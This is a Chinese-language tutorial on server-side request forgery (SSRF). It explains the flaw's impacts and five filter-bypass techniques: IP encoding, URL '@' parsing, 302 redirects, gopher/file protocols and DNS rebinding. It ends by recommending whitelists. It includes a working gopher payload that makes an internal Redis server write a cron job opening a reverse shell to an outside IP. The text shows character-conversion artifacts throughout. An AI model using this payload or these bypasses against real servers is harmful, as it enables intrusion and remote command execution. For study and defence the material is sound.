一、SSRF簡(jiǎn)介
SSRF（Server-Side Request Forgery，服務(wù)器端請(qǐng)求偽造）：通俗的來(lái)說(shuō)就是我們可以偽造服務(wù)器端發(fā)起的請(qǐng)求，從而獲取客戶端所不能得到的數(shù)據(jù)。SSRF漏洞形成的原因主要是服務(wù)器端所提供的接口中包含了所要請(qǐng)求的內(nèi)容的URL參數(shù)，并且未對(duì)客戶端所傳輸過(guò)來(lái)的URL參數(shù)進(jìn)行過(guò)濾。這個(gè)漏洞造成的危害有：
(1)、可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描，獲取一些服務(wù)的banner信息;
(2)、攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序（比如溢出）;
(3)、對(duì)內(nèi)網(wǎng)Web應(yīng)用進(jìn)行指紋識(shí)別，通過(guò)訪問(wèn)默認(rèn)文件實(shí)現(xiàn);
(4)、攻擊內(nèi)外網(wǎng)的Web應(yīng)用，主要是使用Get參數(shù)就可以實(shí)現(xiàn)的攻擊（比如Struts2漏洞利用，SQL注入等）;
(5)、利用File協(xié)議讀取本地文件。
一般的防御措施是對(duì)URL參數(shù)進(jìn)行過(guò)濾，或者使得URL參數(shù)用戶不可控。
二、繞過(guò)SSRF過(guò)濾的幾種方法
下文出現(xiàn)的192.168.0.1，10.0.0.1全部為服務(wù)器端的內(nèi)網(wǎng)地址。
1、更改IP地址寫法
一些開發(fā)者會(huì)通過(guò)對(duì)傳過(guò)來(lái)的URL參數(shù)進(jìn)行正則匹配的方式來(lái)過(guò)濾掉內(nèi)網(wǎng)IP，如采用如下正則表達(dá)式：
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
對(duì)于這種過(guò)濾我們可以采用改編IP的寫法的方式進(jìn)行繞過(guò)，例如192.168.0.1這個(gè)IP地址我們可以改寫成：
(1)、8進(jìn)制格式：0300.0250.0.1
(2)、16進(jìn)制格式：0xC0.0xA8.0.1
(3)、10進(jìn)制整數(shù)格式：3232235521
(4)、16進(jìn)制整數(shù)格式：0xC0A80001
還有一種特殊的省略模式，例如10.0.0.1這個(gè)IP可以寫成10.1
2、利用解析URL所出現(xiàn)的問(wèn)題
在某些情況下，后端程序可能會(huì)對(duì)訪問(wèn)的URL進(jìn)行解析，對(duì)解析出來(lái)的host地址進(jìn)行過(guò)濾。這時(shí)候可能會(huì)出現(xiàn)對(duì)URL參數(shù)解析不當(dāng)，導(dǎo)致可以繞過(guò)過(guò)濾。
http://www.baidu.com@192.168.0.1/
當(dāng)后端程序通過(guò)不正確的正則表達(dá)式（比如將http之后到com為止的字符內(nèi)容，也就是www.baidu.com，認(rèn)為是訪問(wèn)請(qǐng)求的host地址時(shí)）對(duì)上述URL的內(nèi)容進(jìn)行解析的時(shí)候，很有可能會(huì)認(rèn)為訪問(wèn)URL的host為www.baidu.com，而實(shí)際上這個(gè)URL所請(qǐng)求的內(nèi)容都是192.168.0.1上的內(nèi)容。
3、利用302跳轉(zhuǎn)
如果后端服務(wù)器在接收到參數(shù)后，正確的解析了URL的host，并且進(jìn)行了過(guò)濾，我們這個(gè)時(shí)候可以使用302跳轉(zhuǎn)的方式來(lái)進(jìn)行繞過(guò)。
(1)、在網(wǎng)絡(luò)上存在一個(gè)很神奇的服務(wù)，http://xip.io 當(dāng)我們?cè)L問(wèn)這個(gè)網(wǎng)站的子域名的時(shí)候，例如192.168.0.1.xip.io，就會(huì)自動(dòng)重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1這種內(nèi)網(wǎng)IP地址，可能會(huì)被正則表達(dá)式過(guò)濾掉，我們可以通過(guò)短地址的方式來(lái)繞過(guò)。經(jīng)過(guò)測(cè)試發(fā)現(xiàn)新浪，百度的短地址服務(wù)并不支持IP模式，所以這里使用的是http://tinyurl.com所提供的短地址服務(wù)，如下圖所示：
同樣的，我們也可以自行寫一個(gè)跳轉(zhuǎn)的服務(wù)接口來(lái)實(shí)現(xiàn)類似的功能。
4、通過(guò)各種非HTTP協(xié)議：
如果服務(wù)器端程序?qū)υL問(wèn)URL所采用的協(xié)議進(jìn)行驗(yàn)證的話，可以通過(guò)非HTTP協(xié)議來(lái)進(jìn)行利用。
(1)、GOPHER協(xié)議：通過(guò)GOPHER我們?cè)谝粋�(gè)URL參數(shù)中構(gòu)造Post或者Get請(qǐng)求，從而達(dá)到攻擊內(nèi)網(wǎng)應(yīng)用的目的。例如我們可以使用GOPHER協(xié)議對(duì)與內(nèi)網(wǎng)的Redis服務(wù)進(jìn)行攻擊，可以使用如下的URL：
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1
%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d
%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%
0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4
%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
(2)、File協(xié)議：File協(xié)議主要用于訪問(wèn)本地計(jì)算機(jī)中的文件，我們可以通過(guò)類似file:///文件路徑這種格式來(lái)訪問(wèn)計(jì)算機(jī)本地文件。使用file協(xié)議可以避免服務(wù)端程序?qū)τ谒L問(wèn)的IP進(jìn)行的過(guò)濾。例如我們可以通過(guò)file:///d:/1.txt 來(lái)訪問(wèn)D盤中1.txt的內(nèi)容
5、DNS Rebinding
對(duì)于常見(jiàn)的IP限制，后端服務(wù)器可能通過(guò)下圖的流程進(jìn)行IP過(guò)濾：
對(duì)于用戶請(qǐng)求的URL參數(shù)，首先服務(wù)器端會(huì)對(duì)其進(jìn)行DNS解析，然后對(duì)于DNS服務(wù)器返回的IP地址進(jìn)行判斷，如果在黑名單中，就pass掉。
但是在整個(gè)過(guò)程中，第一次去請(qǐng)求DNS服務(wù)進(jìn)行域名解析到第二次服務(wù)端去請(qǐng)求URL之間存在一個(gè)時(shí)間查，利用這個(gè)時(shí)間差，我們可以進(jìn)行DNS 重綁定攻擊。
要完成DNS重綁定攻擊，我們需要一個(gè)域名，并且將這個(gè)域名的解析指定到我們自己的DNS Server，在我們的可控的DNS Server上編寫解析服務(wù)，設(shè)置TTL時(shí)間為0。這樣就可以進(jìn)行攻擊了，完整的攻擊流程為：
(1)、服務(wù)器端獲得URL參數(shù)，進(jìn)行第一次DNS解析，獲得了一個(gè)非內(nèi)網(wǎng)的IP
(2)、對(duì)于獲得的IP進(jìn)行判斷，發(fā)現(xiàn)為非黑名單IP，則通過(guò)驗(yàn)證
(3)、服務(wù)器端對(duì)于URL進(jìn)行訪問(wèn)，由于DNS服務(wù)器設(shè)置的TTL為0，所以再次進(jìn)行DNS解析，這一次DNS服務(wù)器返回的是內(nèi)網(wǎng)地址。
(4)、由于已經(jīng)繞過(guò)驗(yàn)證，所以服務(wù)器端返回訪問(wèn)內(nèi)網(wǎng)資源的結(jié)果。
三、總結(jié)
總的來(lái)說(shuō)，造成能夠繞過(guò)服務(wù)器端檢查的原因是在服務(wù)器對(duì)資源進(jìn)行請(qǐng)求的時(shí)候?qū)RL的驗(yàn)證出現(xiàn)了紕漏，除了上述已知的方法外可能還有不同的方法，但是萬(wàn)變不離其宗。同時(shí)，在程序員進(jìn)行開發(fā)的同時(shí)，盡量使用白名單的方式來(lái)進(jìn)行過(guò)濾，能夠較大程度上的保證安全性。
| 
